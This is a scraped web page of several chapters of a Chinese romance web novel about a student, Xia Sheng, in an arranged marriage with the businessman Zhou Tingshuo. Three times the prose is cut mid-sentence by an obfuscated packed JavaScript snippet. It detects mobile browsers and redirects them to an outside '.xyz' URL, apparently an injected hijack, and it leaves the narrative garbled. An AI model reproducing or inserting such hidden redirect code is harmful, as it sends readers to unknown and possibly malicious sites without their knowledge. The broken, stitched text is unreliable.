可转念一想,他身上的病能活几天都不好说,真等自己撒手人寰,孙女总要有个好依托。 于是多方打听,确认对方确实是个好人家,这才同意。 “对了,那周家小子对你好吧,婆家为难你没有?” “没,他们对我还不错。” 倒也是实话。 自那天夜里跟周庭朔匆匆一面后,夏声又几天没回去住了,期间没人过问干涉,这日子过得算是舒心自由。 这会夏声刚好下车,碧水华汀不许未登记过的外来车辆进入,她只能从大门口走回去。 “就是住的地方不好,太大了,走起来累人。” 爷孙俩又聊了几句才收线。 夏声出了电梯没立刻开门,而是站在门口等了会。 一层一户的构造,听得哪哪都安静无比,应当是家里没人。 她输入密码,往客厅瞧了瞧,确实没人。 刚放下心,手机铃声催命似的响起来。 安真一开口噼里啪啦就没完:“约你十回九回有事,美国总统都没你忙,我不管一会我去找你,今天必须陪我!” 夏声手里端着杯没喝完的咖啡,于是将手机免提,放到中岛台上,随后把包里的笔记本电脑拿出来开机。 “我真忙,刚接了个小活明天得给人结了。” 对面窸窸窣窣像是在穿衣服:“得了吧,你干那点活挣几个钱,你家听说哥那么大产业,随便给你点零花钱不比那强。” “再说你缺钱吗?” 电脑电量见底,夏声举着电源线四处找插座。 “等等,不会他一分钱没给你,你俩各过各的呢?” “不是钱的事。” 旁边的地面上有隐藏插排,夏声忙着充电随便应付她一句,等再起身,才发现不远处站着一大一小。 大的是周庭朔,带着蓝牙耳机应该也在通电话,只是目光沉沉落在她身上。 小的是个穿着粉红色公主裙的小姑娘,大概七八岁,乖巧地站在他身旁。 免提通话声音足够大,安真还在输出。 “不是,他长得人模人样的不干人事儿?” “娶个老婆回家……” 夏声赶紧过去摁断电话,空气安静了几秒,接着周庭朔缓缓开口。 “嗯,我现在就过去,十五分钟后准备和那边的线上视频会。”应该是在跟电话那头说话。 夏声尴尬的不知眼往哪搁,只好看向那个不认识的小姑娘。 小女孩长得白白净净,见她看自己就小声叫了句:“小婶婶好。” 明明有些怯怯地认生,还记得礼貌打招呼。 夏声还挺喜欢这小女孩的。 她记得薛宁玉提过,周庭朔有个大哥叫周庭昀。 前些年他出了意外,滑雪时从高阶赛道摔下来,虽然命保住了,人却高位截瘫只能养在私人疗养院里。 他还有个女儿想必就是这个小女孩。 至于女孩她妈妈,薛宁玉长吁短叹,大概也是怨恨她狠心抛夫弃女。 那厢周庭朔收了线,低头看眼站在他腿边的周灵熙。 事出突然,他带着孩子去公司还是不便。 “你下午有时间吗?”他抬眼询问夏声。 “我大概七点前能回来,这期间你方不方便帮我照看一下她?” 夏声巴不得他赶紧走,立刻点头。 “可以的,我下午都在这。” 周庭朔蹲下身摸摸周灵熙的头:“一会你跟婶婶待会,我很快回来接你。” 夏声上前牵住周灵熙的小手,示意他放心。 他抬手看眼时间,起身向外走,中途却突然折返回来。 拿出黑色皮夹,抽出一张银行卡递给她。 “熙熙要想买什么东西,你费心。” 夏声脸一红,知道他定是听到刚刚安真的话了。 实际上,周庭朔不像是吝啬的人,两人见面甚少,连话说了几句都是有数的,根本没来得及谈及这方面的事。 这会他借周灵熙的名义提出,她只好默默接过:“好。” 周灵熙不是难带的孩子,事实上夏声从前做家教带过许多小孩,像她这样安静听话的少有。 从周庭朔走后,她就端坐在沙发上,夏声打开冰箱看了眼,除了那一排排纯净水以外,她之前买的几瓶可乐还在。 “要喝饮料吗?” 周灵熙摇摇头:“小叔叔不让我喝。” 夏声拿可乐的手一顿,脑袋从冰箱门后探出来:“偶尔喝这一次,我们不告诉他。” 闻言,小女孩的眼睛亮了亮,腼腆地点头。 电脑电量已经有一半,夏声打开工作文档,又问旁边的周灵熙。 “我要忙一会儿,你想看点什么吗?”夏声拿起遥控器,准备给她放个动画片之类的。 周灵熙双手捧着可乐喝了一小口:“不用的,小婶婶。” 她放下杯子,跑到门口的通顶柜,拿出一只书包又回到沙发边。 “我看书就好。” 这孩子太听话了,听话到夏声有些于心不忍。 一整个下午,夏声都在忙着翻译调整,之后又润色词句,直到五点多才算定稿。 这中间,周灵熙除了去趟洗手间,就一直在她旁边的沙发上看书。 夏声瞧她两腿并拢坐得笔直,期间没忍住出声。 “你靠着坐,盘腿坐都没关系,这里只有我们俩,怎么舒服怎么来。” 就这样, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14925508|160479||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她也只是向后靠在沙发背上而已。 一本历史典故通解她也看得津津有味,虽然是儿童版。 趁着文件上传的功夫,夏声又瞥了眼她的书包,规规矩矩的粉色双肩背,上面别了一枚艾莎公主的徽章。 到底还是个小女孩。 她回头看向周灵熙:“饿不饿,想吃什么?” 周庭朔回来时还不到六点,他刷开入户门,看向客厅,空无一人。 再往里的厨房传出又笑又闹的对话。 夏声正在水池那洗着什么,哗哗的流水声也没掩住旁边周灵熙的笑声。 她在躲旁夏声甩过来的水滴。 周庭朔的脚步就这样停下来。 他很久不曾听到周灵熙笑得这样放肆轻松,毫无顾忌。 视线慢慢从周灵熙身上落到一旁的夏声那,她专注的洗着几根黄瓜,顺手掰掉一半递给周灵熙。 “先垫垫,超豪华泡面还需要等会。” 周灵熙笑嘻嘻地接过来,转头看到周庭朔就在身后不远看着,笑脸立刻就收回去,小声叫了句小叔叔。 周庭朔从不让她吃垃圾食品,泡面当然属于这个行列。 其实周庭朔虽然管着她,但他从未凶过她,只是周灵熙对他的敬畏惧怕,好像是自然而然的本能反应。 夏声听到周灵熙喊人,回头见周庭朔提早回来,有些意外。 还没等她开口,旁边煮着水的锅沸起来,热气顶得锅盖噗噗作响,热水被四散喷出来。 夏声急着掀盖,结果被热气熏个正着,烫得她一下又把锅盖扔回去。 她疼得忍不住甩手,直到旁边伸出一只手臂,拉着她的手腕送到水龙头下。 冰凉的流水瞬间缓解疼痛,夏声转头刚好对上周庭朔轮廓明晰的侧脸。 “啊,我就是一时着急,忘了能冲水了,我自己来吧。” 周庭朔适时收回手,转头将旁边的灶火关掉,台面上还放着不少食材,他随手拿起那两袋还未开封的泡面。 周灵熙正在另一边帮夏声吹手,小脸上都是担忧。 夏声赶紧侧身将她挡在身后,看向周庭朔。 “那个,是我想吃。” 是谁要吃不言而喻,周庭朔垂着眼看了看配料表,慢条斯理地挽起袖子来。 “去外面等着吧。” 客厅里,两个脑袋在沙发后凑到一处。 夏声问周灵熙:“你小叔叔会做饭吗?” 周灵熙点点头:“会的,小叔叔做饭可好吃了。” 漂亮聪明心灵手巧的夏声,唯一的短板就是厨艺感人,她对会做饭的人充满敬意。 “他一天天那么忙,哪来的时间学做饭。” 瓷碗碰撞桌面的声音在身后响起,夏声回头两碗热气腾腾的面已经摆在桌上。 “熙熙,洗手吃饭。” 周灵熙得令跑走,夏声起身走到桌旁。 一碗面,切碎的西红柿做汤底,嫩绿的油菜做配,圆润完整的溏心荷包蛋卧在面条上,这简直是梦中情面。 如果是她做,大概就是鸡蛋碎碎汤配上几个煮烂了的菜叶,全靠调料吊味。 周庭朔应该只放了一部分泡面自带的调料,却比原本的味道更好。 桌上周灵熙吃得认真,夏声看眼坐在对面的周庭朔。 衬衫袖口仍挽了一半,露出紧实流畅的小臂线条。 他端坐在椅子上,姿态放松,指骨分明的手划着手机屏幕,间或抬眼看看旁边的周灵熙。 直到蓦地对上她的目光。 夏声没忍住问:“你不吃吗?” “因为是垃圾食品?” 旁边默默吃面的周灵熙将头放得更低,都快埋进碗里了,周庭朔有些无奈地用指节轻轻敲她面前的桌面。 “抬头慢慢吃。”随后才转向夏声,“一会还有应酬。” 既然他要应酬,估计回来的会很晚,甚至可能不回来。 夏声默默庆幸,却没想到她的表情都落进周庭朔的眼里。 临要走时,周灵熙明显有些恋恋不舍,夏声笑着跟她约好下次再来玩。 她正挥手跟周灵熙再见,一旁的周庭朔开口。 “应酬应该不会太晚。” “今晚等我回来。” 5. 第 5 章 一句话让夏声忐忑了一晚。 【安真:你家听说哥还没回来?】 【安真:你听我的抓紧去换身吊带蕾丝睡裙。】 【安真:别跟我说没有。】 有是有,她也得敢穿啊。 夏声没回,而是起身到一旁的落地窗向外看。 城市中心灯火阑珊,远处的高楼幕墙反射出星星点点的冷光,车灯汇集成流像是城市的血脉流淌。 手机再次震动,她低头看了眼。 【陈远泽:今天你没在学校吗,我刚好整理了些选修课作业的选题,给你发一份吧。】 【陈远泽:选题汇总.doc】 夏声垂眸,指尖在屏幕上悬了半晌,回了句谢谢。 再抬头,她看到窗旁通体金属的装饰架。 前几天夏声一直未注意这个角落,这会走近一看,才发现这里放着一台棕色木纹的黑胶唱片机,再往上的每一层,都是各色的黑胶唱片。 安真总说她一点都不了解周庭朔这个人,跟封建社会的盲婚哑嫁没区别。 她抽出一张唱片,是舒伯特的D大调第三交响曲。 架子上的百十余张,差不多都是古典音乐。 夏声点开安真的对话框回复。 【夏声:周庭朔爱听古典乐,吊带那一款不对他的路数。】 【安真:你懂个屁,爱听古典乐的男人都闷骚!】 入户门刚好这时打开,闷骚二字还未在夏声的脑子里消化完,对上周庭朔清俊分明的脸,一瞬竟让她笑出了声。 周庭朔薄薄的眼皮掀起,视线刚好落在她未及收起的笑上。 他抬手松了松领带,边走边问。 “笑什么呢?” 淡淡的酒意混着清冷的木质香很快笼在她身后,一节冷白修长的手指落在她手中的黑胶唱片封面上。 “这张不推荐你听。” 周庭朔站在她后侧,左手绕过夏声的肩膀,指尖在面前的一张张唱片间划过。 这姿势,像是将她半圈在他的怀里。 夏声赶紧转身将手里的唱片放回去。 “我就是随便看看,没想听。” 不过他已经找出一张,是萨蒂的GymnopedieNo.1。 “想听的时候,可以听听这个。” 夏声看了眼名字,默默点头。 他似乎心情不错,打开冰箱拿水时不忘问她需要喝点什么。 夜里喝冷水,夏声嫌太冰。 “不用了。” 说完她靠在沙发椅背旁掩唇打了个哈欠。 周庭朔显然注意到她困倦的样子,拉开岛台旁的椅子,示意她坐。 “我们结婚的事到底有些仓促,很多事我未能顾及周全。” “如果有什么不便的地方,或者要求,你现在可以跟我提。” 夏声困意消了一半,知道是下午那通电话惹的事。 但也非坏事。 手机的屏幕被她亮了又灭,夏声一时未说话,他便耐着性子等。 桌上的纯净水瓶身已凝出薄薄的一层水汽,夏声才缓缓开口。 “我只有一个要求,给彼此最大限度的自由,不干涉对方生活。” 闻言,周庭朔有些意外地看向她。 好像意识到她的话有歧义,夏声又补充了一句。 “当然这个自由也要保证对婚姻的基本底线与忠诚。” “只是个人生活方面,我不想改变太多。”她对上他深邃无波的眼神,“你应该也不想吧。” 家族联姻,说到底是利益交换。 林家近些年想进军制药领域,而渝市是周家开拓第三阶段商业版图的重要地域,两家属于是一拍即合。 如此看来,他们俩的结合也没什么例外。 “当然。”应是喝过酒的缘故,他嗓音带着些哑,“还有什么要求吗?” “没了。” 像是以示公平,夏声又问他:“你呢?” “家里面有些场面需要应付,你可能要配合一下。” 这并不过分,夏声笑笑:“当然,我们彼此配合。” 谈话好像可以到此结束,周庭朔一口气将瓶中水喝完,顺手抽了纸巾将台面上一圈浅浅的水渍擦干。 见夏声还看着他,扬了扬唇。 “耽误你休息了,去睡吧。” 夏声的视线随着他的动作流转,突然想起第一天她来这的时候。 那天她去看过主卧,里面色调清冷,摆设规整,床上的纯灰色被子边角都被拉得笔直,太干净了,所以她才确信这里没人住。 “周先生,你有洁癖吗?” 水瓶扔进垃圾桶发出“咚”的一声,周庭朔动作一顿。 “没有,只是个人习惯。” “你还按自己的生活方式即可,不影响。” 这几天的相处,夏声能感觉到他在主动兼容自己进入他的生活。 不刻意,不给她造成困扰。 意识到这点,她心情轻松起来,起身往回走的时候随口说了句。 “应酬多的人肠胃通常不会很好,冰水建议少喝哦。” 还不忘加一句:“不是干涉你的喜好,友善的提醒,晚安。” 两人相处时,夏声一直刻意维持着自己成年人理智成熟的形象,直到刚刚不经意间,露出些活泼与娇俏。 轻快的脚步声很快消失在客厅,周庭朔垂眸坐在原处,眼尾不经意间漫出一抹笑意。 第二天一早,夏声从床上扒开眼就已经七点多。 她腾地从床上起来,用了十分钟洗漱完,拉开门出去时刚好碰到已收拾整齐的周庭朔。 也怪昨晚,安真非不信他俩只是纯聊天。 拉着她反复盘问没结果才放过她,夏声没了瞌睡又在床上不知翻到几点才睡着。 结果今天又遇早课。 “早。”夏声匆匆打了声招呼,就往门口走。 一摸口袋手机忘了带,又折返回去。 等她再出来时,周庭朔刚好在门口换鞋。 “赶时间?” 夏声的帆布鞋鞋带缠在一起,她索性坐下全部拆开又重新系。 “嗯,万恶的早八。” 周庭朔看了眼腕表:“我送你过去吧,这个时间不好打车。” 夏声的背包就放在旁边的鞋凳上,他顺手拿起来,没给她拒绝的时间。 也确实来不及了,夏声只好道了声谢。 早高峰堵得寸步难行,周庭朔似乎习惯了,安静地在平板上确认今天的行程。 夏声看了眼车窗外龟速行进的车流,只好拿出手机,准备再刷几个长难句。 两人各自忙碌,车厢内只有空调微弱的风声。 路程过半,周庭朔关上平板放到一边,余光看到夏声双唇念念有词,盯着手机神色凝重。 感受到他的目光,夏声转过头来。 “怎么了?” 周庭朔瞟了眼她的手机:“法语系大四的课还这么多?” 课不多,只是夏声自己报了catti的二笔,要准备的就比较多。 “不多了,只是恰好排在早上。” 又一个红绿灯,车子停在第一排,夏声看了眼时间,又看了看外面的路况。 这会只怕走路还更快些。 旁边的周庭朔冷不防又开口:“毕业了有什么打算?” 夏声回过头来,眼睛眨了下。 “还没想法。” “你那有什么钱多事少的岗位,要不走个后门,我省得努力了。” 玩笑话一句,周庭朔还真应了。 “也行。” 夏声:…… “你认真的?” 手中的电话响起,夏声看了眼屏幕,等了几秒才接起。 “外公。” “夏声啊,这会忙着呢?” “嗯,一会有早课。” 对面并不关心她学业的事,直接开门见山:“跟庭朔相处的怎么样?” 夏声不动声色地瞥了眼身旁:“挺好的。” “呵呵,那就好,过两天我办事路过京市,正好去看看你。” “您要来?” 周庭朔微微侧目,见夏声神色不佳,没说几句,就挂了电话。 林清江借着来看她的名义,实际是想看她与周庭朔相处如何,顺便巩固下跟周家的关系。 夏声很清楚,半路认回去外孙女,能有几分亲。 旁边的周庭朔适时开口:“需要我安排人去接吗?” 夏声心中滞闷,摇了摇头,看向前面的司机。 “麻烦过了路口停一下。” 离学校还有些距离,夏声却直接拎着背包下车,转身跟后座的周庭朔告别。 “谢谢你送我,先走了。” 其实已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14925509|160479||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经过了拥堵路段,一脚油门过去也就几分钟,可她偏不。 周庭朔默默看着她脚步匆匆往校门口赶,沉声开口。 “掉头,去公司。” 夏声上午只有两节课,下课又被金楠楠拉着去了自习室。 两人出来时已是中午。 金楠楠心满意足地伸了个懒腰:“不得不说我真佩服你,学两小时你头都不抬。” “没你陪着,我大概半小时就学不进去收工了。” 其实小时候夏声也不爱学习,可夏国理一辈子教书,对她只有好好读书一个要求。 老爷子的退休金哪里都不舍得花,唯独用在她学习上,一点不含糊。 夏声哪敢不用功。 “指着我靠本事赚钱养家呢,不努力不行。”夏声半真半假的回她。 金楠楠做出一副佩服的表情,转头不知看到什么,拉着夏声就往前凑。 一教门前是一块巨大的草坪,此刻不知有什么事,围了不少人。 两人走进了些,听到人群起哄的声音。 金楠楠垫着脚,脖子都快抻成长颈鹿,突然使劲晃了晃夏声的胳膊。 “陈远泽在那呢,你快看。” “我天,好像是学妹当众跟他告白。” 听到陈远泽的名字,夏声便没再继续往前走,反而拉着金楠楠想赶紧离开。 “看会热闹啊,我瞅着那学妹还挺漂亮呢,你不好奇陈远泽接不接受?” 夏声头都不回,硬拉着金楠楠往反方向走。 还没走出多远,身后有人叫她的名字。 “夏声,你等一下。” 陈远泽的声音远远传来,夏声听见他拒绝学妹的借口,头疼地闭了闭眼。 “不好意思,我有喜欢的人了。” 金楠楠凑在她耳边低声感叹:“看来他对你真是贼心不死啊。” 看热闹的人纷纷看向夏声的方向,那学妹失望地站在原地,陈远泽快步向她走过来。 “昨天发给你的资料,用得上吗?” 夏声干巴巴地回:“还没来得及看。” 对面的人似乎会错了意,以为她不高兴,赶紧开口解释。 “我跟那学妹没任何关系,只是学校里见过几次面,我不知道她今天突然会……” 夏声打断他:“你不用跟我解释这些啊。” 她越这样说,陈远泽越觉得她好像真的介意。 夏声解释不清,刚好接到安真的电话,于是借口有事,逃一样的走了,反而金楠楠意犹未尽,还留在那看热闹。 安真听完她的遭遇,先是羡慕。 “亲爱的,不得不说你吃得真好。” “就真不考虑一下人家,这么长情专一的帅哥可不多见啊。” 夏声一边往寝室走,一边无语地叹了口气。 “祖宗,我再考虑他就犯原则性错误了,这都不叫劈腿,叫婚内出轨。” “嗐,忘了你已经已婚了,那不行,婚内过错方,离婚了要净身出户的,太亏。” 寝室这会一个人也没有,夏声准备收拾些东西带去碧水华汀。 这几天她还是少在学校呆着的好。 “你快帮我想想怎么礼貌体面的让他死了这条心。” 安真恋爱经历多到可以当她老师,比她擅长处理这方面的事。 “你就说你结婚了,包他死心的。”安真顿了顿,“哦对,你结婚的事也还保密呢。” “算了,我帮你措辞一下,一会你按我发你的消息转给他就行。” 挂了电话,夏声带着个小手提包出了寝室。 安真信息发来时,打的车刚好也到了,夏声的转发对象还没选中,就提着包忙着先上车。 等她安顿好,再想起这事打开手机查看时。 天塌了。 可能是刚刚她慌忙中误触了屏幕,那条消息转发给了周庭朔。 安真一连发几条,她转过去的偏偏是最重要的那条。 【夏声:有些事还是趁早说清楚比较好,我已经有喜欢的人了,不好意思。】 想要撤回,已经过了时间。 夏声撑着脑袋,纠结半天觉得还是要说点什么。 【夏声:刚刚那条发错了,麻烦当没看见。】 【夏声:小猫微笑.jpg】 十分钟后。 【周庭朔:所以,你本来准备发给谁?】 6. 第 6 章 京大距离碧水华汀不过十几分钟车程,夏声甚至犹豫要不让司机师傅掉头回去算了。 对话框里写了删,删了写,直到又弹出新的消息。 【周庭朔:看来不方便说。】 他没再追问,而是直接转移了话题。 【周庭朔:这周末薛女士邀请你去西苑,有时间吗?】 早上林清江说过,他这周末会到,想来也是要去周家的,夏声不去不合适。 【夏声:有时间。】 【周庭朔:好。】 虽然平时她就觉得周庭朔话少事也少,可今天他这样结束这个话题,无端让她生出一种揣测。 他会不会生气了? 但这念头也就一闪而过。 夏声将东西送回碧水华汀,又出门去了京艺大。 校门口,安真一身黑色紧身包臀裙,踩着的细高跟看起来像利器一般,就这也不影响她一路小跑着来迎夏声。 只是快到她面前,安真慢下了步子,侧头上下打量了她一遍。 “你跟我出门好歹用点心,什么装束啊。” 夏声瞪了她一眼,指了指柔沙色的唇。 “我今天可是打了粉底涂了唇彩,你再说我没用心?” 虽说她早上为赶早八穿的纯白T恤和百褶半裙看起来不如安真那般隆重,但至少也是青春靓丽。 “行行行,你天生丽质,别人用尽解数不如你随手两笔,行了吧。” 安真一路上不是忙着八卦她跟周庭朔的同居生活,就是在手机上不停的回消息。 亮得晃眼的美甲在手机屏幕上发出“哒哒”声。 “所以你今天有时间约我出来逛街,是因为要给婆婆买见面礼?” 安真的眼睛都没离开屏幕,又回了几条消息才发现夏声已经进了前面那家店,正在柜台前跟导购小姐说着什么。 因为夏国理爱茶,夏声对茶多少还是懂一些,她挑了店里最好的两款茶叶,包了礼盒准备送给周家老爷子周凛。 安真屏蔽了工作群的消息,总算清净一会,看着夏声提出来的礼盒撇了撇嘴。 “一会再去给听说哥他爸买两瓶好酒呗?” 是不出错的选择,夏声觉得也不是不行。 就是送薛宁玉的东西,一时拿不定主意。 两人逛了大半天,结束时手里大包小包收获颇丰。 安真抱怨:“我说怎么叫上我呢,感情是做苦力的。” 彼时她们刚刚从商场出来,正准备去街对面的餐厅。 夏声陪着笑脸:“辛苦我们大红人,我请你吃饭。” 安真的高跟鞋是新穿的,有些磨脚,这会走起路来有些一瘸一拐,夏声看见了她才说脚疼。 “这是美丽的代价。” “酷刑还差不多。”夏声扶着她到路边的椅子坐下:“你等我会,我去那边便利店给你买创口贴。” 她速度很快,回来时刚好看到一辆橙色超跑停在安真面前。 车窗缓缓落下,露出一张桀骜张扬的脸。 夏声眼见安真的眉心一跳,紧接着听她咒了一声:“怎么这么倒霉。” 也顾不得脚疼,安真扶着夏声的手站起来,低声说了句有事先溜,转身就往刚出来的商场里跑。 留下夏声举着未开封的创可贴,和面前刚下车的陌生男人面面相觑。 “那是安真吧?” 男人一身高奢名牌,墨镜挂在衣领,耳边带着一排黑曜石耳钉,纯正的富二代公子哥形象。 这些年安真周旋于情场,难免有失手的时候,夏声见过类似的场面,于是淡定应对。 “谁?” 这下,对面的男人才把飘远的视线放回到夏声身上。 似乎是想到了什么,他凝眉打量了一会,复又拿出手机看了两眼,随及瞪大了眼睛。 “你是夏声?” 周庭朔结个婚跟签了保密协议一样,不仅没有大张旗鼓办婚礼,就连老婆的长相都不透露。 问就是照片都没一张,人也忙着没时间带出来, 祁家骏还是在周仪娇那看到夏声的照片,才知道她的真容。 收到祁家骏信息时,周庭朔刚结束公司新职场的视察。 他点开消息,是一张照片,熟悉的身影正低头整理地上的购物袋。 【祁家骏:是弟妹吧?我没认错吧!】 【祁家骏:怪不得能拿下你。】 【祁家骏:就是人家这大包小包的出来购物,你也不陪着点,有没有绅士的自觉。】 照片背景的商圈离周庭朔现在的位置不远,夏声穿着短裙,半蹲在路边收拾东西的同时还要顾着压好裙摆,多少有些狼狈。 周庭朔电话拨过去,很快被她接起。 “嗯?怎么了?” 对面隐约传来马路车流的噪声,应该还没离开。 “你在原地等我,五分钟后去接你。” 夏声拿下夹在肩膀与耳朵中间的手机,四处张望了一下。 “你怎么知道我在哪?” 安真一溜烟不知道跑哪去了,这一地东西她还真有点发怵怎么带回去。 于是又问:“方便吗?” “嗯,顺路,我正好要回去。” 实际上,助理刚在他的示意下,将行程单上一会的供应商见面取消了。 几分钟后,夏声看着司机将东西整齐地码在后备箱,说了声辛苦才上车。 周庭朔跟研发部的电话刚好挂断。 “去西苑的伴手礼我已经让人备好了,你不用特意费心准备这些。” 夏声捋了捋头发,连同不经意间翘起的裙摆。 “你是你的,我是我的。” 话音刚落,夏声突然抿上唇。 转过头看了看周庭朔的神色,好像没什么变化。 “也不是那个意思,就是……也算我一点心意。” 周庭朔神色淡淡:“嗯。” 夏声想起那个吓跑安真的公子哥。 “刚刚那个开超跑的是你朋友?” 周庭朔跟祁家骏算是从小的交情,祁家骏仗着比他大两天,整天自称大哥,却一点没个正行。 他们圈子里的几个朋友中,他是最不定性的。 “他跟你说什么了?” “那倒没。” 话音刚落,不知逃到哪去的安真来了电话,通话间还刻意压低着声音,一副生怕被逮到的样子。 “那人走了没?” 得到夏声肯定回答,她松了口气:“我工作室那边有点事,饭下次吃吧。” “你这回又怎么惹上人家了,这么难缠?” 安真难得支支吾吾:“唉,一句半句说不清楚,回头再跟你说,爱你,拜~” 挂断电话,夏声感叹:“你朋友真有能耐,竟然把我闺蜜吓成这样。” 早就料到自己会被扔下,但是逛了一下午饭还没吃,夏声实在饿得前胸贴后背。 她瞟了眼端坐在一旁的周庭朔,这不现成的饭搭子。 “我请你吃饭吧?” “谢你来接我。” 周庭朔从善如流:“好。” 一餐饭,两人交谈甚少。 周庭朔吃相优雅,践行着食不言寝不语的准则,而夏声是真饿了。 她向来尊重美食,一不留神就吃多。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14925510|160479||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 于是饭后她提议两人散步回去,反正也离碧水华汀不远。 林清江这次来不是简单看看她过得如何,前些天他叮嘱夏声没事多去周家老宅走动走动。 明箴集团明年的投资重点就在西南板块,他们林家要是能趁机搭车,要少走不少弯路。 夏声知道自己二十多年没有林家的消息,突然被认回去定是有所图。 只是这所图竟是一点不加掩饰。 “周庭朔,这次回西苑,可能要考验下我们的演技。” 城市的夜被繁复的灯映得透亮,两人影子落在身前,距离远的像是两个陌生人。 “但我觉得以我们现在的状态,恐怕不行。” 说来说去,两人跟合租在一起的室友没什么分别,周末但凡有人多问两句,都得露馅。 夏声倒是不怕露馅,就是周庭朔说过两人要在合适场合互相配合。 该怎么配合? “夏声。” 周庭朔的声音在夜色中像是提琴拨弦,沉而清晰。 夏声低着头踩着影子:“嗯?” “你有喜欢的人?” 夏声脚步一顿,蓦地抬头,双唇微张明显有些意外。 她本以为这人之前轻描淡写地揭过,那肯定就是没事。 “所以中午那短信,你……不高兴了?” 周庭朔转过身,她被罩在他高大的影子里,看不太清他的表情。 “没有,但我会介意。” “你是我的妻子,我想这件事我该知道个确切的答案。” 这么想也确实,要搁自己也怕被无形带了绿帽。 “我没有喜欢的人,那是我为了堵人口舌编的。”夏声解释。 周庭朔垂眸而立,掩在他影子下的夏声显得有些娇小,她仰着脸看他,眸子澄澈干净,不似说谎。 所以,是有人觊觎他妻子,才会让她编出这样的话来拒绝。 周庭朔的目光落在她空荡荡的无名指上。 两人就这样无声的站着,几分钟后夏声败下阵来。 周庭朔但凡不言语,总有种迫人的威压。 “真没有,如果有我就不跟你结婚了。” 身后几个骑着自行车的少年吹着口哨飞驰而过,周庭朔拉着她的手臂,将她带到旁边。 他不咸不淡地回了一句:“嗯。” 嗯? 信还是不信啊? 夏声解也解释过了,态度也够诚恳,做到这份自认到位,于是不再多说。 买的那些礼品直接放车里,夏声轻手利脚地上了楼,就准备去洗澡。 只是走到门口,突然又想起什么,回过头来看着正在解领带的周庭朔。 “你有喜欢的人吗?” 他的动作未停,几下领带就被摘下:“没。” 似乎意料之中,夏声“哦”了一声。 夏声觉得两人这样一问一答了解起来简直毫无效率。 “要不我们准备个list,将彼此想要知道的问题都写下来。” “起码比现在这样东一句西一句的问,来得快。” 周庭朔脚步未停,听到她的话缓缓勾唇笑了笑。 “不用。” 他笑的时候不多,夏声私下腹诽过他像个面瘫,但他真笑起来,确实有几分姿色。 周庭朔的卧室在客厅旁的第一间,他推开房门,与夏声隔着一段距离对望。 “有更有效率的办法。” 夏声一时被迷了眼,呆呆问了句。 “什么办法?” 他左手撑在门把手上,略微向里偏了偏头。 “你搬到这里。” 7. 第 7 章 空气突然安静。 连头顶的射灯灯光都仿佛有些灼人。 夏声长长的眼睫阖动:“现……现在吗?” 加深了解最好的办法就是朝夕相处,这一点他说得也没错,夏声一时不知怎么反驳。 周庭朔身形修长,闲闲倚在门边,将她的反应尽收眼底。 “我只是给出问题的答案。” 见她精神紧绷的样子,他语气放缓。 “别多想。” “去睡吧。” 主卧门关上的刹那,夏声长长吐了一口气。 直到她洗完澡拥着蓬松柔软的被子,才反应过来,喃喃自语。 “合法夫妻,睡一起好像也没什么。” “你在怕什么啊夏声,他又不是洪水猛兽,吃人不成。” 第二天,那条被发错的信息被夏声编辑了一下,重新发给了陈远泽。 对方沉寂许久,才回复她。 【陈远泽:好,我知道了,抱歉给你造成困扰。】 两人都克制礼貌,还算体面。 但下一次路上再遇到,夏声还是尴尬。 陈远泽看了眼她怀里抱着的教辅书,笑了笑:“二笔准备得怎么样了?” 他一个生物系的,却知道她法语系的专业考试。 夏声该死的愧疚感又升上来:“还行。” 似乎看出她的不自在,陈远泽兀自苦笑,随后故作轻松地告别。 “那我还有事,先走了。” 夏声的二笔考试就快到了,这几天她尽数泡在学校图书馆,晚上懒得再折腾回碧水华汀,于是都睡在学校寝室。 周五下午,她刚出自习室,周庭朔的信息发来。 【周庭朔:明天回西苑,我来学校接你?】 【夏声:不用,我今晚回去住。】 抱着一摞复习资料,夏声等在碧水华汀的电梯间。 带这么多材料从门口走进来,两只胳膊酸得要命,夏声感叹自己真是自讨苦吃。 正嘟嘟囔囔,从地下车场上来的电梯打开。 没想到电梯里有人,夏声正要进去,一抬头蓦地对上周庭朔的目光。 嘴比脑子快。 “啊,真巧,你也刚回。” 怀里的书歪歪斜斜,从她双臂中间往下滑。 周庭朔上前一步接住:“我来吧。” 最上面的政府工作报告订成厚厚一沓,被她用各色记号笔写写画画,已经看不出原来的样子。 但夏声字写得干净漂亮,尤其法文,笔法流畅飘逸,自带风格。 周庭朔一行行看得认真,夏声好奇。 “你看得懂法文?” “会些皮毛。” 如果夏声见过他在欧洲留学时,用一口流利的法语交谈,就知道他在自谦。 “那怎么没听你提起。” 电梯门打开,周庭朔示意她先去开门。 “在法专生面前,我就不班门弄斧了。” 周六的早上,夏声比平时起得更早。 